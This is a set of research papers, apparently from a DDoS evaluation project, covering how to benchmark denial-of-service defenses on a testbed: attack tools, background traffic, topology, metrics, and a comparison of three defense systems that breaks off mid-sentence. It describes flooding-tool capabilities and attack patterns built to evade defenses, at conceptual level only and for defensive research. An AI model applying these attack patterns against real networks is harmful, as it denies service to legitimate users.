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1 Introduction

The main objectives of the EMIST DDoS group is to ad-
vance the state of the art in rigorous evaluation of dis-
tributed denial of service attack-defense scenarios in the
Internet. Over the last three years, we have developed an
evaluation methodology using a combination of simula-
tion, emulation, modeling, and analysis techniques that al-
lows independent comparison of different DDoS defense
systems.

We have identified five high-level dimensions that the
experimenter needs to carefully design in order to conduct
an effective evaluation: (1) attack mechanism, (2) back-
ground traffic, (3) network topology (4) defense mecha-
nism, (5) measurements and metrics. The methodology
provides a sequence of well defined steps that guide the
experimenter in defining and conducting the evaluation.

In this paper, we briefly discuss the current state of art
in each of these five dimensions of attack-defense eval-
uation and provide references for in-depth information.
Section 2 discusses the distribution and activities of hosts
involved in a DDoS attack for both current and future
attacks. Section 3 discusses legitimate traffic workload
creation using various types of background traffic gener-
ators. Section 4 discusses topological characteristics of
the Internet and how they impact DDoS attack-defense
evaluation. Section 5 discusses various types of defense
technologies that can be evaluated using the methodology
framework and lastly Section 6 discusses the necessary
and sufficient set of measurements and metrics for evalu-

∗This material is based on work partially supported by National Sci-
ence Foundation under Cooperative Agreement No. ANI-0335298 with
support from the Department of Homeland Security

ating the impact of attacks and the efficacy of the defense
mechanisms. Additionally, each section also provides ref-
erences to tools that can be used to automate various as-
pects of the evaluation methodology.

2 Attack Mechanisms

Denial of service attacks can deny legitimate service in
two ways: (1) by consuming some critical resource in the
network or at the end host via abundant or complex traffic,
or (2) by exploiting some vulnerability within a router, an
end host’s operating system or an application to make a
service inoperable. Attacks of the first type are frequently
calledfloodingattacks while those of the second type are
calledvulnerabilityattacks. Experimenters can opt for us-
ing real attack tools, captured from the wild. Quite a few
of these tools can be found at [33]. On the other hand,
writing one’s own packet flooding tool or using an exist-
ing tool written by security researchers can have signifi-
cant advantages over real attack tools. Real packet flood-
ers generate very simple flooding traffic — their primary
sophistication lies in control mechanisms used to coordi-
nate agent networks and to hide their presence from de-
fenders. If an experimenter’s goal is to test an attack-
defense combination, rather than a security system that
detects agent machines based on their coordination activ-
ity, researcher-written tools can simplify testing because
they have many customizable parameters and can gener-
ate a wider variety of flooding attacks than real tools.

Because of the possibility of misuse researcher-
developed tools cannot be freely downloaded but they
can be obtained by contacting corresponding project lead-
ers via E-mail addresses found on the DETER tools web
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page. The UCLA Laboratory for Advanced Systems Re-
search (LASR) has developed theCleo attack tool. This
tool has a master-slave architecture. The slave code is
installed at several clients and their IP addresses are spec-
ified in a configuration file used by the master file to start
or stop the packet flood at the child nodes. Cleo is capa-
ble of generating various kinds of attacks such as constant
rate attacks, pulsing attacks where the active period and
inactive period can be specified, increasing rate attacks,
and periodic increasing rate attacks. The tool also has op-
tions to specify the spoofing technique, set packet size,
customize targetted ports, and it can generate TCP, UDP,
ICMP traffic or combinations of the three.MACE is a
versatile tool, developed by Wisconsin Advanced Internet
Laboratory (WAIL), that can generate a variety of DoS
and worm traffic scenarios. It provides a high-level lan-
guage for attack traffic specification and contains a small,
but easily extensible, database of attacks. The EMIST
DDoS group has also incorporated an attack agent within
the set of tools available on DETER. This agent can be
scripted to perform a wide range of attacks within an au-
tomated test scenario.

Finally, some tools for network auditing can be used
to generate packet floods. Packit tool [7] can generate
traffic with many spoofed fields in TCP, UDP, ICMP, IP,
ARP, RARP, and Ethernet header. Nmap tool [18] can
generate a variety of packet floods, and some of probe
packets generated by this tool can crash certain operating
systems, thus recreating a vulnerability DoS attack.

3 Cross Traffic

Cross traffic modeling is an important step in evaluating
a defense mechanism as different conclusions can be de-
rived about the performance based on the composition of
the cross traffic.

The simplest form of background traffic generation is
using packet trace replay [44]. Many defense systems
need to be tested under realistic traffic conditions at high
data transmission rates. Replaying real packet traces from
high-speed links using multiple PCs can allow the experi-
menter to stress the defense system under high traffic rates
and evaluate performance.

Another approach is usingapplication-specifictraffic
generators such as Surge [4], trafgen [12], PackMime [9].

They model network traffic based on different applica-
tions, such as a web browser or FTP. A combination of
these traffic generators can be used to model an applica-
tion mix on the network.

Some traffic generators areapplication independent
and create traffic at the IP flow level. Examples include
Harpoon [34] and D-ITG [2] that create network traffic
based on probabilistic distributions and stochastic pro-
cesses for various traffic parameters such as inter-packet
gap interval and packet size.

Lastly some traffic generators support parametrization
of traffic models from real network measurements, for ex-
ample RAMP [22] and LTProf [28].

The EMIST DDoS team has developed tools that allow
configuring a wide mix of background traffic that consists
of TCP traffic created using Harpoon [34], DNS traffic by
setting up a server and periodically issuing requests from
various locations in the topology, and ICMP echo request
and reply traffic using the ping utility.

4 Topology

DDoS attacks may target routers/links or services in the
network, and traffic from multiple attackers may be ag-
gregated within the network. Hence, topology is an ex-
tremely important dimension in DDoS testing. Selecting
benchmark topologies with realistic routing parameters
and representative resources and services is an extremely
challenging problem [1]. Internet topology characteriza-
tion has been the subject of significant research for over
a decade [45, 16, 8, 10, 19, 41]. Several researchers
have examined Internet connectivity data at both the Au-
tonomous System (AS) level and at the router level, and
characterized the topologies according to a number of key
metrics. A well-studied metric is the degree distribution
of nodes in a topology, especially at the Autonomous Sys-
tem level, which was found to be heavy-tailed – a phe-
nomenon typically referred to as “the power law phe-
nomenon” [16, 8, 10]. Clustering characteristics of the
nodes have also been examined, and the term “the small
world phenomenon” [40, 19, 3] was used to denote pref-
erence to local connectivity. Recent work [23] uses joint
degree distributions to capture different metrics such as
clustering, assortativity, rich club connectivity, distance,
spectrum, coreness, and betweenness.
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One of the earliest and most popular topology genera-
tors is GT-ITM [45], which used a hierarchical structure
of transit and stub domains. GT-ITM and other structural
topology generators are believed to generate representa-
tive topologies when the number of nodes in the topology
is small [37]. In fact, a key problem with selecting bench-
mark topologies is the scale-down of a topology of several
thousand or even millions of nodes to a few hundred nodes
(which is the number of nodes available on a testbed like
DETER).

Routers within a domain typically use a routing pro-
tocol such as Open Shortest Path First (OSPF) or IS-
IS. Configuringborder routers in a topology to run the
Border Gateway Protocol (BGP) poses a significant chal-
lenge, since Internet Service Providers (ISPs) use com-
plex BGP policies for traffic engineering. The work by
Gao et al. [17, 39] infers AS relations and this informa-
tion can be used to configure BGP routers. Further infor-
mation on other topology generation and routing configu-
ration tools we have developed for DETER can be found
in [11].

Assigning link delays and link bandwidths is non-
trivial, since delay and bandwidth data, especially within
an enterprise network, is not public, and is sometimes im-
possible to infer. Tools such as [15, 35, 25] have been
proposed to measureend-to-endbottleneck link capacity,
available bandwidth, and loss characteristics. Standard
tools such as ping and traceroute can give end-to-end de-
lay or link delay information, when their probe packets
are not dropped by firewalls. Identifyinglink bandwidths
is perhaps the most challenging problem. Therefore, an
experimenter usually resorts to using information about
typical link speeds (optical links, Ethernet, T1/T3, DSL,
cable modem, dial up, etc) to assign link bandwidths in
benchmark topologies.

5 Defense Mechanisms

A large number of DDoS defense systems have been pro-
posed in recent years. Because DDoS is a multifaceted
threat, proposed defenses vary greatly in their approaches
to a defense. Some systems aim only at detecting attacks,
others attempt to also filter attack traffic, while protecting
legitimate user’s traffic. Some systems also attempt to lo-
cate attack sources. Finally, there are systems that prevent

certain types of DDoS attacks by modifying underlying
communication protocols.

To thoroughly evaluate a defense, one must be aware
of its approaches to attack detection, response, prevention
or traceback, and stress test them by generating attacks
that attempt to bypass or crash the defense. Below we
list recommended test scenarios for some general defense
categories, defined in [27]:

• Defenses that train behavioral models to learn the
difference between the legitimate traffic and the
attack (e.g., [26]) should be tested with flooding
attacks that mimic legitimate traffic features and
slowly increase their rate to achieve values that deny
service.

• Defenses that use resource accounting should be
tested with highly distributed attacks, where each at-
tacker sends at a low rate.

• Defenses that use resource multiplication should be
tested with highly distributed attacks, generating
high-rate traffic that challenges resource replication.

• Interdependent defenses should be challenged with
attacks on the defense itself, and in presence of con-
trol message loss, to evaluate whether defense mod-
ules can function when isolated from their peers.

• Defenses that perform agent identification (such as
traceback [5, 31] should be tested in topologies that
have high levels of path-sharing between legitimate
users and attackers, and with highly distributed at-
tacks where each agent floods at a low packet rate.
This setup challenges a defense to precisely separate
the legitimate from the attack traffic, and also tests
its scalability.

• Defenses that detect attacks and respond to them in
some fashion should be tested with short-duration,
repetitive attacks to evaluate the cost of turning the
defense on and off and the overall protection offered
to the attack victim.

• Defenses that deploy some kind of a cooperative de-
fense (e.g., [21, 43]) should be tested for insider at-
tacks to evaluate the damage that a trusted member
could inflict to a system, if compromised by an at-
tacker.
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6 Metrics

One of the challenges in addressing the measurements and
metrics dimension in our evaluation methodology is the
lack of a standard set of metrics that can be used to evalu-
ate a mix of DDoS attacks and defenses in various exper-
iments. Our review of the literature indicated that indi-
vidual research efforts and commercial products utilized
a variety of metrics to measure and assesses the results
of their respective techniques, products and technologies.
Also, interesting is that most of the metrics are not specif-
ically DDoS-centric; rather, they are straightforward ap-
plications of well-known metrics used by researchers and
practitioners in networking, performance, and quality of
service evaluations.

In developing our methodology, we wanted to get better
insights into how these metrics can be applied to a broad
set of DDoS experimental settings that utilize multiple at-
tack types, defenses, topologies and background traffic as
well as how they can be used as a basis for the develop-
ment of more DDoS-centric measures. To enable this, we
developed a high level framework for analyzing and cat-
egorizing network and system performance metrics [32].
First, this framework divides all metrics into two broad
categories, namelyextrinsicandintrinsic. Extrinsic met-
rics are measures that can be computed and observed by
external parties in relation to the object (attack, defense
etc.) being measured. On the other hand, intrinsic met-
rics can only be computed by the object being measured
and only by analyzing the internal algorithms and data
structures such as queues and connection tables. Given
the distinction between extrinsic and intrinsic metrics, we
can further categorize an individual extrinsic or intrinsic
metric in two dimensions that reflect the granularity, rel-
evance and application. The first dimension is the topo-
logical granularity that the metric applies to, namely end-
point (including client and server side), link-level or end-
to-end. The second dimension is the layer in the protocol
stack, starting at the bottom of the stack with packet-level
metrics and moving progressively up the stack to flow-
level (such as TCP) and aggregate-level and application-
level metrics.

Given the above two-dimensional characterization of
extrinsic and intrinsic metrics, we review various metrics
in three areas, namely, characterizing traffic, assessing
attack impact and assessing DDoS defense effectiveness

and point out where they have been used in the DDoS
literature for research and experiments. Unfortunately,
space constraints prevent us from discussing the context
and details of the research efforts where these metrics
were used. We identify each metric as extrinsic or intrin-
sic by the notation (E) and (I), respectively.

Metrics for characterizing traffic: These are well
known in the networking community. Examples of end-
point packet-level metrics observable at client side in-
clude server response rate (E), average response-time (E),
server-error rate (E) and those at the server-side include
per client packet rate (E), packet-drop-rate (I), per packet
overhead (I), etc. Link and end-to-end packet metrics at
the packet-level include link and end-to-end throughput,
error rates and latencies. In the context of DDoS attacks,
such packet level traffic characterization metrics are used
to characterize attack traffic in terms of their attack rate
(intensity) and attack duration [29] as well as goodput
(the throughput of legitimate traffic). Moving up to the
flow-level (i.e. relevant to connections such as that in
TCP), client-observable end-point metrics include aver-
age connection establishment time (E) and server connec-
tion completion rates (E) while those observable at the
server-side include the per client connection request rate
[20] (I) and per-client goodput (I).

Link-level flow metrics include the per flow or per-
connection throughput observed at the link. Examples of
end-to-end flow metrics include those used by protocols
like TCP for flow and congestion control such as through-
put, round trip time (RTT) for a connection (E), per con-
nection retransmission timeout value (I), per connection
loss rate (I). End-point aggregate-level metrics observ-
able at the server-side include per aggregate arrival rate
(I) and aggregate service rate (I) [24]. Collectively, we
refer to these traffic metrics asbase metricsas we expect
these to be leveraged and composed to form more mean-
ingful higher-level composite DDoS-centric metrics. An
example of such a higher level metric is the probability
of denied service proposed in [6]. It is based on ratios of
the number of initiated, established, and completed TCP
connections. Also, traffic characterization metrics at the
application level are very closely tied application-specific
semantics and perceptions of quality of service. Thus for
streaming video an extrinsic metric is the mean opinion
score (MOS) computed by asking end users their opin-
ions on the video quality for Voice over IP (VoIP), met-
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rics include round-trip-delay between VoIP endpoints(E),
percentage of Packets discarded by the jitter buffer (I),
mean-length-of-bursts (I) [13] etc.

Metrics for assessing attack impact: A first step in
measuring the impact of an attack is to assess how vari-
ous base metrics presented above degrade over the course
of the attack. Attacks typically become noticeable when
metrics such as goodput and server response times de-
grade beyond what is expected from routine fluctuations.
The actual degradation may be measured and presented in
various forms, including percentage drops in values and
various statistical measures. The long term goal would be
to use degradation in base metrics to develop higher-level
attack impact assessments in terms that the end users per-
ceive at the application layer.

Metrics for assessing defense effectiveness: Minimally,
metrics for assessing the effectiveness of a DDoS defense
must measure the accuracy and efficiency of a defense.
A common measure of accuracy is the rate and probabil-
ities of false positives and false negatives in attack de-
tection. For example, this metric is used in works such
as [14] and [30] to get a better sense of the accuracy
of attack filtering algorithms. Another metric tied to the
accuracy of a DDoS defense is the “probability of detec-
tion” [42]. Other metrics that could be used to assess the
effectiveness of a defense include those that can be used
to characterize some percentage improvement in one or
more base and composite metrics. For example one could
devise a metric that measures the time taken to achieve a
50 percent increase in goodput when a defense is turned
on. An example of this that measures improvements in
TCP throughput is discussed in section 5 of [36].

Another aspect of measuring the effectiveness of a de-
fense is to formulate metrics that will pinpoint the exact
breaking point of a defense. An example of this would
be the maximum attack rate that a DDoS filtering scheme
could handle without unacceptable packet loss of legit-
imate traffic. An example of this is discussed in [38]
where legitimacy tests were used to filter incoming pack-
ets on a Gigabit link using an Intel IXP2400 network pro-
cessor and it was discovered that the maximum sustain-
able attack rate was around 140Mbps due to the over-
head involved in administering the legitimacy tests at the
packet level. Thus, although the network processor de-
vice was capable of processing legitimate traffic close to
the line speed of 1 Gbps, its breaking point for attack traf-

fic was 140 Mbps.

7 Conclusions and Future Work

We briefly discussed the five dimensions that are impor-
tant to consider when setting up a DDoS attack-defense
evaluation. The EMIST DDoS group has developed sev-
eral tools in each area to aid in automation and ensure
the fidelity of the experiment. Additionally, we have also
exercised the methodology outlined in this paper and ap-
plied it to compare the performance of three defense sys-
tems.

However, there are a number of additional areas we
need to address in the future. We aim to semi- or totally-
automate the reuse of existing software and tools to create
a DDoS experiment scenario allowing the experimenter
to rapidly test systems. This work is on-going within the
framework of the DETER security experimenter’s work-
bench. Additionally we will archive several experiment
descriptions along with data and results to seed the pro-
cess, and expand the DETER experiment archive as ad-
ditional experimenters make use of the facility to study
other defensive technologies and attack scenarios.
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Abstract— This paper addresses the critical need for a common
evaluation methodology for distributed denial-of-service (DDoS)
defenses. Our work on developing this methodology consists of:
(i) a benchmark suite defining the necessary elements of DDoS
attack scenarios needed to recreate them in a testbed setting,
(ii) a set of performance metrics for defense systems, and (iii) a
specification of a testing methodology that provides guidelines on
using benchmarks and summarizing and interpreting performance
measures. We characterize the basic elements of a typical DDoS
attack scenario and describe how to embody those elements in a
benchmark. We describe a set of automated tools we developed
to harvest real data on attacks, legitimate traffic, and real network
topologies. This data guides our benchmark design. We also describe
the major difficulties in achieving realism in the various elements
of DDoS defense evaluation in a testbed setting.

I. INTRODUCTION
Distributed denial-of-service (DDoS) attacks are a serious

threat for the Internet’s stability and reliability. DDoS attacks
have gained importance because the attackers are becoming more
sophisticated and organized, and because several high-profile
attacks targeted prominent Internet sites [12], [20]. To evaluate
the many defenses that have been proposed against DDoS, it is
necessary to develop an objective, comprehensive and common
evaluation platform for testing them.

In this paper we describe our ongoing work on the development
of a common evaluation methodology for DDoS defenses. This
methodology consists of three components: (1) a benchmark
suite, defining all the necessary elements needed to recreate a
comprehensive set of DDoS attack scenarios in a testbed setting,
(2) a set of performance metrics for defense systems, and (3) a
specification of a testing methodology that provides guidelines on
using benchmarks and summarizing and interpreting performance
measures. Our methodology is specifically designed for use in the
DETER testbed [2].

II. DDOS DEFENSE BENCHMARKS
DDoS defense benchmarks must specify all elements of an

attack scenario that influence its impact and a defense’s effec-
tiveness. We consider these elements in three dimensions:

• DDoS attack — features describing a malicious packet
mix arriving at the victim, and the nature, distribution and
activities of machines involved in the attack.

• Legitimate traffic — features describing a legitimate packet
mix and the communication patterns in the target network.
During the attack, legitimate and attack traffic compete for
limited resources. The legitimate traffic’s features determine
how much it will be affected by this competition.
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Fig. 1. Benchmark components and their generation

• Network topology and resources — features describing the
target network architecture. These features identify weak
spots that may be targeted by a DDoS attack and include
network topology and resource distribution. In addition to
this, performance of some defenses will depend on the
topology chosen for their evaluation.

The basic benchmark suite will contain a collection of typical
attack scenarios, specifying typical settings for all three bench-
mark dimensions. We harvest these settings from the Internet,
using automated tools. The AProf tool collects attack samples
from publicly available traffic traces. The LTProf tool collects le-
gitimate traffic samples from public traces. The topology/resource
samples are collected and clustered by the NetProf tool, which
harvests router-level topology information from the Internet and
uses the nmap tool to detect services within chosen networks.

The typical suite provides tests that recreate attack scenarios
seen in today’s networks. To facilitate in-depth understanding
of a defense’s capabilities, the benchmark will also contain
a comprehensive suite, which will define a set of traffic and
topology features that influence the attack impact or the defense’s
performance, and a range in which these features should be
varied in tests. Instead of performing an exhaustive testing in
this multi-dimensional space, our work focuses on understanding
the interaction of each select feature with an attack and a defense.
Figure 1 illustrates the benchmark’s components.
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III. ATTACK TRAFFIC

The attack traffic dimension specifies the attack scenarios
observed in today’s incidents and hypothetical scenarios, designed
by security researchers, that may become popular in the future.

A. Typical attack scenarios

Typical attack scenarios are obtained by building the AProf
automatic toolkit to harvest attack information from public traffic
traces stored in libpcap format. They detect attacks in the trace,
separate legitimate from the attack traffic, and create attack
samples that describe important attack features such as strength,
number of sources, etc. Finally, attack samples are clustered to
yield representative attack categories.

Attack samples are generated in four steps, shown in Figure 2:
1) One-way traffic removal. One-way traffic is collected if

there is an asymmetric route between two hosts and the
trace collection occurs only on one part of this route. Some
of our attack detection tests use the absence of reverse
direction traffic as an indication that the destination may
be overwhelmed by a DDoS attack. One-way traffic, if left
in the trace, would naturally trigger a lot of false positives.
We identify hosts on asymmetric routes by recognizing one-
way TCP traffic, performing some legitimacy tests on this
traffic to ensure that it is not part of the attack, and recording
its end points. We then remove from the original trace all
packets between hosts on asymmetric routes.

2) Attack detection is performed by collecting traffic infor-
mation at two granularities: for each connection (traffic
between two IP addresses and two port numbers) and
for each destination IP address observed in a trace. A
packet belonging to a specific connection or going to a
given destination is identified as malicious or legitimate
using the detection criteria associated with: (1) this packet’s
header, (2) this packet’s connection and (3) the features
of the attack, which was detected based on the packet’s
destination. We currently perform several checks to identify
attack traffic, including examination of TCP characteristics,
matching of application-level UDP and TCP traffic, detec-
tion of high-rate ICMP traffic, and several others. Space
does not permit detailing of these techniques here.
Each packet is classified as legitimate or attack as soon
as it is read from the trace. Packets that pass all detection
steps without raising an alarm are considered legitimate. We
store attack packets in attack.trc and we store legitimate

packets in legitimate.trc. Each attack packet is also used
to update the information about the attack features (rate,
type, spoofing, etc.). When a new attack is detected, this
information is written to a file called victim.out.

3) Attack sample generation. Attack features are selected from
the attack.trc file by first pairing each attack trace with
alerts from victim.out. and then extracting attack character-
istics from the attack trace. This step produces two output
files: human.out, with the alert and traffic information in a
human readable format and alerts.out, with the alerts only,
specifying attack details such as rate, level of spoofing,
attack type, number of attack sources, attack packet size
and port distribution, etc.

Although it is too early to offer conclusions about typical attack
scenarios, our preliminary results indicate that an overwhelming
majority of attacks are TCP SYN attacks, sent at a low rate (2-5
packets per second) from many machines, and lasting from several
minutes to several hours.

B. Comprehensive attack scenarios

We are applying three approaches to build comprehensive
attack scenarios: (1) We use network literature to identify attacks
that are particularly harmful to certain proposed defenses, (2) We
use network literature and experiments to identify attacks that
target critical network services, and (3) We investigate the link
between the attack features (rate, packet mix, dynamics, etc.) and
the attack impact, for a given test setting (network, traffic and
defense), to identify relevant features and their test values.

IV. LEGITIMATE TRAFFIC

Legitimate traffic is specified in our benchmarks by host models
that describe a host’s sending behavior. We build host models
by automatically creating host profiles from public traffic traces
and clustering these profiles based on their feature similarity
to generate representative models, using the LTProf tool we
developed. For the comprehensive suite, we use network literature
and tests to investigate how legitimate traffic features determine
an attack’s impact and effectiveness of various defense systems.

We extract features for host profiles from packet header in-
formation, which is available in public traffic traces. Each host
is identified by its IP address. Selected features include open
services on a host, TTL values in a host’s packets, an average
number of connections and their rate and duration. We also
profile several of the most recent TCP and UDP communications
and use the Dice similarity of these communications as one of
the host’s features. This feature reflects the diversity of all the
communications initiated by a host. We cluster host profiles using
their feature similarity to derive typical host models.

Our preliminary results for legitimate traffic models are from
the Auckland-VIII data set from NLANR-PMA traffic archive.
This data set was captured in December 2003 at the link between
the University of Auckland and the rest of the Internet. After
filtering out little-used hosts, we have 62,187 host profiles left
for clustering. The data is random-anonymized, so we could
not identify inside vs. outside hosts. Thus, the resulting models
characterize both the incoming and the outgoing traffic of the
University of Auckland’s network.
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We first identify four distinct host categories: (1) NAT boxes,
with very diverse TTL values that cannot be attributed to routing
changes, (2) scanners, which only generate scan traffic, (3)
servers, which have some service port open; we differentiate
between DNS, SMTP and Web servers, and (4) clients, which
have no open ports and initiate a consistent volume of daily
communications with others. We then apply clustering within
each host category. The Table I shows the clustering result,
illustrating that clustering generates several compact and large
clusters in each category, that contain the majority of hosts.

TABLE I
LEGITIMATE HOST CATEGORIES

Host category Hosts All clusters Top clusters
DNS servers 44% 62 Top 6 clusters contain 96% of hosts

SMTP servers 6.4% 65 Top 8 clusters contain 88% of hosts
Web servers 4.4% 85 Top 6 clusters contain 74% of hosts

Clients 28% 27 Top 6 clusters contain 90% of hosts
NAT boxes 9% 94 Top 7 clusters contain 67% of hosts
Scanners 5% 9 Top 5 clusters contain 99% of hosts

V. TOPOLOGY AND RESOURCES

To reproduce multiple-AS topologies, at the router level, we
are developing a NetTopology tool similar to RocketFuel [22].
NetTopology relies on invoking traceroute commands from
different servers [24], performing alias resolution, and inferring
several routing and geographical properties.

For DETER, we have developed two additional tool suites: (i)
RocketFuel-to-ns, which converts topologies generated by Net-
Topology tool or Rocketfuel to DETER-compliant configuration
scripts, and (ii) RouterConfig, which takes a topology input and
produces router (software or hardware) BGP and OSPF configu-
ration scripts according to routers’ relationships in the specified
topology. We apply the methods of Gao et al. [9], [25] to infer AS
relationships and use that information to generate configuration
files for BGP routers. Jointly, NetTopology, RocketFuel-to-ns and
RouterConfig tools form the NetProf toolkit.

A major challenge in reproducing realistic Internet-scale
topologies in a testbed setting is scaling down a topology of thou-
sands or millions of nodes to a few hundred nodes (the number
of nodes available on a testbed like DETER [2]), while retaining
important topology characteristics. RocketFuel-to-ns allows a user
to specify a set of Autonomous Systems, or to perform breadth-
first traversal of the topology graph from a specified point, with
specified degree bounds and number of nodes bound. This enables
the user to select smaller portions of very large topologies for
testbed experimentation. The RouterConfig tool works both on
(a) topologies based on real Internet data, and on (b) topologies
generated from the GT-ITM topology generator [29]. One major
focus of our future research lies in defining how to properly scale
down DDoS experiments, including the topology dimension.

Another challenge in defining realistic topologies lies in assign-
ing realistic link delays and link bandwidths. Tools such as [16],
[6], [23], [18] have been proposed to measure end-to-end such
characteristics, and standard tools like ping and traceroute can
produce end-to-end delay or link delay information. Identifying
link bandwidths is perhaps the most challenging problem. There-
fore, we use published information about typical link speeds [26]
to assign link bandwidths in our benchmark topologies.

For localized defense testing, it is critical to characterize
enterprise network topologies and service. We analyzed enterprise
network design methodologies typically used in the commercial
marketplace, such as Cisco’s classic three-layer model of hier-
archical network design [21], [27]. Our analysis of the above
commercial network design methodologies shows that there are
at least six major properties that impact enterprise network design.
These include: (1) the edge connectivity design (multi-homed vs.
single-homed); (2) network addressing and naming (private vs.
public and routable, for example); (3) the design of subnet and vir-
tual local area networks (VLANs); (4) the degree of redundancy
required at the distribution layer; (5) load sharing requirements
across enterprise links and servers and (6) the placement and
demands of security services such as virtual private networks and
firewalls. We next plan to study how network topology properties
define the impact of DDoS attacks and defense effectiveness in
real enterprise networks.

VI. PERFORMANCE METRICS

To evaluate DDoS defenses we must define an effectiveness
metric that speaks to the heart of the problem —- do these de-
fenses remove the denial-of-service effect? The metrics previously
used for this purpose, such as the percentage of attack traffic
dropped, fail to capture whether legitimate service continues
during the attack. Even if all attack traffic is dropped to preserve
a server’s capacity, if the legitimate traffic does not get delivered
and serviced properly, the attack still succeeds.

We propose a metric that directly expresses whether the le-
gitimate clients received acceptable service or not. This metric
requires considering traffic at the application level and considering
quality of service needs of each application. Specifically, some
applications have strict delay, loss and jitter requirements and
will be impaired if any of these are not met. Other real-time
applications have somewhat relaxed delay and loss requirements.
Finally, there are applications that conduct their transactions
without human attendance and can endure significant loss and
delay as long as their overall duration is not impaired.

We measure the overall denial-of-service by extracting trans-
action data from the traffic traces captured at the legitimate
sender and the attack target during the experiment. A transaction
is defined as a high-level task that a user wanted to perform,
such as viewing a Web page, conducting a telnet session or
having a VoIP conversation. Each transaction is categorized by
its application, and we determine if it experienced DoS effect by
evaluating if the application’s QoS requirements were met. The
DoS impact measure expresses the percentage of transactions, in
each application category, that have failed.

The proposed metric requires (1) determining which applica-
tions are most important, both by their popularity among Internet
traffic and the implications for the rest of the network traffic if
these applications are interrupted, and (2) determining acceptable
thresholds for each application that, when exceeded, indicate
a denial-of-service. Both tasks are very challenging, since the
proposed applications and thresholds must be acceptable to the
majority of network users.

The defense performance metrics must also capture the delay
in detecting and responding to the attack, the deployment and
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operational cost, and the defense’s security against insider and
outsider threats. Each of these performance criteria poses unique
challenges in defining objective measurement approaches.

VII. MEASUREMENT METHODOLOGY

The benchmark suite will contain many test scenarios, and our
proposed metrics will produce several performance measures for
a given defense in each scenario. The measurement methodology
will provide guidelines on aggregating results of multiple mea-
surements into one or a few meaningful numbers. While these
numbers cannot capture all the aspects of a defense’s perfor-
mance, they should offer quick, concise and intuitive information
of how well this defense handles attacks and how it compares
to its competitors. We expect that the definition of aggregation
guidelines will be a challenging and controversial task.

VIII. RELATED WORK

Space does not permit detailed discussion of other related
benchmarking efforts. Particularly relevant are:

• IRTF’s Transport Modeling Research Group’s work to stan-
dardize testing methodologies for transport protocols [11].

• The Center for Internet Security’s benchmarks for evaluation
of operating system security [8]

• Work on quality of service that impacts on our proposed
DDoS metrics [10].

• Work on differentiated services (DiffServ) and Per-Hop
Behaviors [13], [14].

• Internet topology characterization, represented by [1], [29],
[7], [3], [5], [15], [28], [17], among many others.

• Studies on characterizing Internet denial-of-service activity,
generally based on limited observations [19], [4].

Briefly, while much existing research has shed light on impor-
tant aspects of the problem, no previous concerted effort has been
made to define all aspects required to create usable DDoS defense
benchmarks. Our work borrows liberally from this previous work,
wherever possible, but many critical issues require fresh attention.

IX. CONCLUSIONS AND FUTURE WORK

The major remaining technical challenges for DDoS bench-
marking are: (1) collecting sufficient trace and topology data
to generate typical test suites, (2) understanding the interaction
between the traffic, topology and resources and designing com-
prehensive, yet manageable, test sets, (3) determining a success
criteria for each application, (4) defining a meaningful and concise
result aggregation strategy, (5) updating benchmarks. The value
of any benchmark lies in its wide acceptance and use. The main
social challenge for our work lies in gaining acceptance for all
three components of our common evaluation methodology from
wide research and commercial communities.

Our existing methods have some clear limitations, because they
rely on trace analysis for definition of typical scenarios. Only a
limited number of traces are currently publicly available, which
may bias our conclusions. Keeping in mind these limitations, we
believe that information we may glean from traffic traces will still
offer a valuable insight for design of realistic test scenarios.

Designing benchmarks for DDoS defenses is sure to be an
ongoing process, both because of these sorts of shortcomings

in existing methods and because both attacks and defenses
will evolve. However, there are currently no good methods
for independent evaluation of DDoS defenses, and our existing
work shows that defining even imperfect benchmarks requires
substantial effort and creativity. The benchmarks described in this
paper represent a large improvement in the state of the art for
evaluating proposed DDoS defenses.
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1 Introduction

Defending against Distributed Denial of Service (DDoS)
attacks is a challenging problem on the Internet that de-
mands practical and effective solutions. Many DDoS de-
fense technologies have been proposed, developed and
commercialized [1, 8, 6, 5, 3, 11]. However, each tech-
nology is often evaluated separately under a specific set
of conditions and using its own set of measurements and
metrics, making it hard to compare performance across a
range of defense and intrusion detection systems.

As these technologies mature and begin to move from
laboratories into real networks, there is a need to system-
atically evaluate and compare performance for different
network scenarios, so that consumers of these technolo-
gies can acquire and deploy a solution that best fits their
needs. Additionally, a systematic and unbiased evaluation
methodology and tools will help producers of defense sys-
tems to rapidly evaluate the performance of their system
under various network conditions.

The EMIST DDoS group is chartered to advance the
state of the art in systematic evaluation of DDoS attack–
defense systems in the Internet. We employ a combination
of simulation, emulation, modeling, and analysis tech-
niques to experimentally evaluate performance of defense
systems on the DETER network testbed under a wide
range of network conditions. Our framework allows suc-
cessive refinement of the experiments in increasing scope
and realism. It includes a large set of tools that allow the
experimenter to rapidly configure the five different dimen-
sions of the experiment within our methodology; namely
attack traffic, background traffic, topology, defense sys-
tem deployment, and measurements and metrics [2]. The
tools allow even a novice user to automate tests for a large
range of network scenarios greatly reducing the expertise
required to use the DETER testbed.

This paper describes the application of the methodol-

∗Prepared for the National Science Foundation under Cooperative
Agreement No. ANI-0335298 with support from the Department of
Homeland Security

ogy and tools to perform preliminary evaluation of three
different defense systems: FloodWatch, D-WARD, and
COSSACK. We test all three systems on a canonical
topology and subject them to two types of attacks: a low
bandwidth TCP attack and a high bandwidth UDP attack.
Our results highlight the relative strength and weaknesses
of the systems that are not captured when doing indepen-
dent evaluation of each system.

2 DDoS Defense Systems

We selected FloodWatch, D-WARD, and COSSACK in
our initial set of experiments because their prototypes are
readily available and accessible. We plan to evaluate other
defense methods including RED-PD[4] and PushBack[3]
in the future.

2.1 D-WARD

D-WARD [6] is a source-end DDoS defense system that
detects and suppresses DDoS attacks originating from an
edge network. It is placed at the egress router of the edge
network, collecting statistics on the flows coming in and
out of the network for every destination. D-WARD dis-
tinguishes legitimate traffic and attack traffic by identi-
fying anomalies in the traffic dynamics. D-WARD has
been tested in various experiments in which the legitimate
traffic service level, per connection delay, and number of
failed connections were measured and compared between
a system with and without the D-WARD defense.

2.2 COSSACK

COSSACK [8] is a cooperative DDoS defense tool that
coordinates between local intrusion detection systems to
detect the onset of a DDoS attack. A COSSACK sys-
tem consists of watchdogs that share local information
with each other to increase the confidence of detection

1



and the quality of the response. It also employs the topol-
ogy database to identify vulnerable hosts. The system was
tested in a testbed consisting of 7 machines and 4 routers,
which shows that it can detect even low-rate attacks as
their traffic was aggregated by the watchdogs.

2.3 FloodWatch

FloodWatch [1] is a DDoS defense system aimed at de-
ployment within the core of a large network. FloodWatch
